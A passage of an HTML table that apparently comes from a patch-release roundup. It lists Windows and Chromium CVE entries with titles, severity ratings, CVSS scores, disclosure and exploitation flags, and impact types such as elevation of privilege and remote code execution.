  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
